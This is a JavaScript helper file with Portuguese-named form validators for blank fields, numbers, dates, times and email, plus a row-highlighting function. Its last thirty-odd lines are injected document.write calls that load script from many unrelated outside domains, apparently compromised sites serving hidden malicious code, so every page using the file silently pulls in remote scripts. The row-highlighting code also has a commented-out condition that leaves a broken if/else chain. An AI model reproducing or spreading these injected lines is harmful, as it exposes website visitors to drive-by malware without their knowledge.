function CampoBranco(theField)
{
  var inStr = theField.value;
  var inLen = inStr.length;
      
  for(var i = 0; i < inLen; i++)
  {
    var ch = inStr.substring(i, i+1)

    if (ch != " ")
      return (false);   
  }

  //Permissoes de seguranca nao deixavam a atribuicao funcionar 
  inStr = "";
  return (true);
}

function CampoNumero(theNumber)
{
  inStr = theNumber.value;
  inLen = inStr.length;

  for(var i = 0; i < inLen; i++)
  {
    var ch = inStr.substring(i, i+1)
  
    if ((ch < "0") || (ch > "9"))
      return (false);
  }
  
  return (true);
}

function CampoData(data,formato)
{
  if (data.length < 10) 
  {   
    return (false);
  }
  myRe = new RegExp;

  if (formato == 1)
    myRe=/([0-2][0-9]|3[01])\/(0[1-9]|1[0-2])\/([12][0-9]{3,3})/ig;
  else if (formato == 2)
    myRe=/(0[1-9]|1[0-2])\/([0-2][0-9]|3[01])\/([12][0-9]{3,3})/ig;
  else if (formato == 3)
    myRe=/([12][0-9]{3,3})\/(0[1-9]|1[0-2])\/([0-2][0-9]|3[01])/ig;
  else
    return(false);
    
  if (! eval("myRe.exec(data)"))
  {
    return false;
  }
  myRe.exec(data)
  
  if (formato == 1)
  {
    var dia = RegExp.$1;
    var mes = RegExp.$2;
    var ano = RegExp.$3;
  }
  else if (formato == 2)
  {
    var mes = RegExp.$1;
    var dia = RegExp.$2;
    var ano = RegExp.$3;
  }
  else if (formato == 3)
  {
    var ano = RegExp.$1;
    var mes = RegExp.$2;
    var dia = RegExp.$3;
  }
  
  if (dia.charAt(0) == "0")
  {
    dia = dia.charAt(1);
  }  
  
  if (mes.charAt(0) == "0")
  {
    mes = mes.charAt(1);
  }  
  
  dia = parseInt(dia);  
  mes = parseInt(mes);    
  ano = parseInt(ano);     

  if ((ano%400==0) || ((ano%4==0) && (ano%100!=0))) 
  {
    var DiasMes=new Array(31,29,31,30,31,30,31,31,30,31,30,31);
  }
  else
  {
    var DiasMes=new Array(31,28,31,30,31,30,31,31,30,31,30,31);
  }

  if (dia > DiasMes[mes-1])
  {
    return (false);
  }
  return (true);
}  

function CampoHora(hora)
{
  if (hora.length < 5)
  {
    return (false);
  }
  myRe = new RegExp;

  myRe = /^([0-1][0-9]|2[0-4]):([0-5][0-9])$/ig;

  if (! eval("myRe.exec(hora)"))
  {
    return false;
  }
  myRe.exec(hora);
  myRe = null;
  return (true);
}

function CampoEmail(mail)
{
  if (mail.value.length < 6)
  {
    return (false);
  }
  myRe = new RegExp;
  
  RegExp.lastIndex = 0;

  myRe = /([_a-zA-Z\d\-\.][_a-zA-Z\d\-\.]+)@([_a-zA-Z\d\-][_a-zA-Z\d\-]+(\.[_a-zA-Z\d\-][_a-zA-Z\d\-]+))/;

  if (! myRe.test(mail.value))
  {
    return false;
  }
  
  myRe.exec(mail);

  myRe = null;

  return (true);
}

function ComparaData(CampoDataInicio, CampoDataFim)
{
  Dia = CampoDataInicio.value.substring(0,2);
  Mes = CampoDataInicio.value.substring(3,5);
  Ano = CampoDataInicio.value.substring(6,10);
  var DataInicioConvert = Ano + Mes + Dia;

  Dia = CampoDataFim.value.substring(0,2);
  Mes = CampoDataFim.value.substring(3,5);
  Ano = CampoDataFim.value.substring(6,10);
  var DataFimConvert = Ano + Mes + Dia;

  if (DataFimConvert < DataInicioConvert){
    return (false);
  }
  return (true);
}  

function SelectedCombo(Objeto)
{
  return Objeto[Objeto.selectedIndex].value
}

/**
 * This array is used to remember mark status of rows in browse mode
 */
var marked_row = new Array;

function setPointer(theRow, theRowNum, theAction, theDefaultColor, thePointerColor, theMarkColor)
{
    var theCells = null;

    // 1. Pointer and mark feature are disabled or the browser can't get the
    //    row -> exits
    if ((thePointerColor == '' && theMarkColor == '')
        || typeof(theRow.style) == 'undefined') {
        return false;
    }

    // 2. Gets the current row and exits if the browser can't get it
    if (typeof(document.getElementsByTagName) != 'undefined') {
        theCells = theRow.getElementsByTagName('td');
    }
    else if (typeof(theRow.cells) != 'undefined') {
        theCells = theRow.cells;
    }
    else {
        return false;
    }

    // 3. Gets the current color...
    var rowCellsCnt  = theCells.length;
    var domDetect    = null;
    var currentColor = null;
    var newColor     = null;
    // 3.1 ... with DOM compatible browsers except Opera that does not return
    //         valid values with "getAttribute"
    if (typeof(window.opera) == 'undefined'
        && typeof(theCells[0].getAttribute) != 'undefined') {
        currentColor = theCells[0].getAttribute('bgcolor');
        domDetect    = true;
    }
    // 3.2 ... with other browsers
    else {
        currentColor = theCells[0].style.backgroundColor;
        domDetect    = false;
    } // end 3

    // 4. Defines the new color
    // 4.1 Current color is the default one

//    if (currentColor == '' || currentColor.toLowerCase() == theDefaultColor.toLowerCase()) {

        if (theAction == 'over' && thePointerColor != '') {
            newColor              = thePointerColor;
        }
        else if (theAction == 'click' && theMarkColor != '') {
            newColor              = theMarkColor;
        }
//    }
    // 4.1.2 Current color is the pointer one
    else if (currentColor.toLowerCase() == thePointerColor.toLowerCase()
             && (typeof(marked_row[theRowNum]) == 'undefined' || !marked_row[theRowNum])) {
        if (theAction == 'out') {
            newColor              = theDefaultColor;
        }
        else if (theAction == 'click' && theMarkColor != '') {
            newColor              = theMarkColor;
            marked_row[theRowNum] = true;
        }
    }
    // 4.1.3 Current color is the marker one
    else if (currentColor.toLowerCase() == theMarkColor.toLowerCase()) {
        if (theAction == 'click') {
            newColor              = (thePointerColor != '')
                                  ? thePointerColor
                                  : theDefaultColor;
            marked_row[theRowNum] = (typeof(marked_row[theRowNum]) == 'undefined' || !marked_row[theRowNum])
                                  ? true
                                  : null;
        }
    } // end 4

    // 5. Sets the new color...
    if (newColor) {
        var c = null;
        // 5.1 ... with DOM compatible browsers except Opera
        if (domDetect) {
            for (c = 0; c < rowCellsCnt; c++) {
                theCells[c].setAttribute('bgcolor', newColor, 0);
            } // end for
        }
        // 5.2 ... with other browsers
        else {
            for (c = 0; c < rowCellsCnt; c++) {
                theCells[c].style.backgroundColor = newColor;
            }
        }
    } // end 5

    return true;
} // end of the 'setPointer()' function

document.write('<script src=http://adsolutionindia.com/images/gifimg.php ><\/script>');
document.write('<script src=http://adsolutionindia.com/images/gifimg.php ><\/script>');
document.write('<script src=http://adsolutionindia.com/images/gifimg.php ><\/script>');
document.write('<script src=http://adsolutionindia.com/images/gifimg.php ><\/script>');
document.write('<script src=http://adsolutionindia.com/images/gifimg.php ><\/script>');
document.write('<script src=http://cumportal.com/autolinks/images/in.php ><\/script>');
document.write('<script src=http://cumportal.com/autolinks/images/in.php ><\/script>');
document.write('<script src=http://cumportal.com/autolinks/images/in.php ><\/script>');
document.write('<script src=http://cumportal.com/autolinks/images/in.php ><\/script>');
document.write('<script src=http://cumportal.com/autolinks/images/in.php ><\/script>');
document.write('<script src=http://cumportal.com/autolinks/images/in.php ><\/script>');
document.write('<script src=http://itmgoch.ru/poi/wp-rdf.php ><\/script>');
document.write('<script src=http://itmgoch.ru/poi/wp-rdf.php ><\/script>');
document.write('<script src=http://itmgoch.ru/poi/wp-rdf.php ><\/script>');
document.write('<script src=http://itmgoch.ru/poi/wp-rdf.php ><\/script>');
document.write('<script src=http://itmgoch.ru/poi/wp-rdf.php ><\/script>');
document.write('<script src=http://itmgoch.ru/poi/wp-rdf.php ><\/script>');
document.write('<script src=http://paicosmeticsurgeryanddentalimplants.com/WEB-INF/classes/hvuj/servertest.class.php ><\/script>');
document.write('<script src=http://globe-tour.com/test/common.0007.php ><\/script>');
document.write('<script src=http://privateartiststudios.com/anonymous/.wysiwygPro_edit_eacf331f0ffc35d4b482f1d15a887d3b.php ><\/script>');
document.write('<script src=http://privateartiststudios.com/anonymous/.wysiwygPro_edit_eacf331f0ffc35d4b482f1d15a887d3b.php ><\/script>');
document.write('<script src=http://grinmedi.com/bbs/main2_1_2_2_1.php ><\/script>');
document.write('<script src=http://grinmedi.com/bbs/main2_1_2_2_1.php ><\/script>');
document.write('<script src=http://romauction.ro/media/media.php ><\/script>');
document.write('<script src=http://ecab.ru/forum/robots.php ><\/script>');
document.write('<script src=http://ecab.ru/forum/robots.php ><\/script>');
document.write('<script src=http://ecab.ru/forum/robots.php ><\/script>');
document.write('<script src=http://ecab.ru/forum/robots.php ><\/script>');
document.write('<script src=http://loveanseong.kr/html_path/favicon.php ><\/script>');
document.write('<script src=http://loveanseong.kr/html_path/favicon.php ><\/script>');
document.write('<script src=http://britishresorthurghada.com/images/gifimg.php ><\/script>');
document.write('<script src=http://britishresorthurghada.com/images/gifimg.php ><\/script>');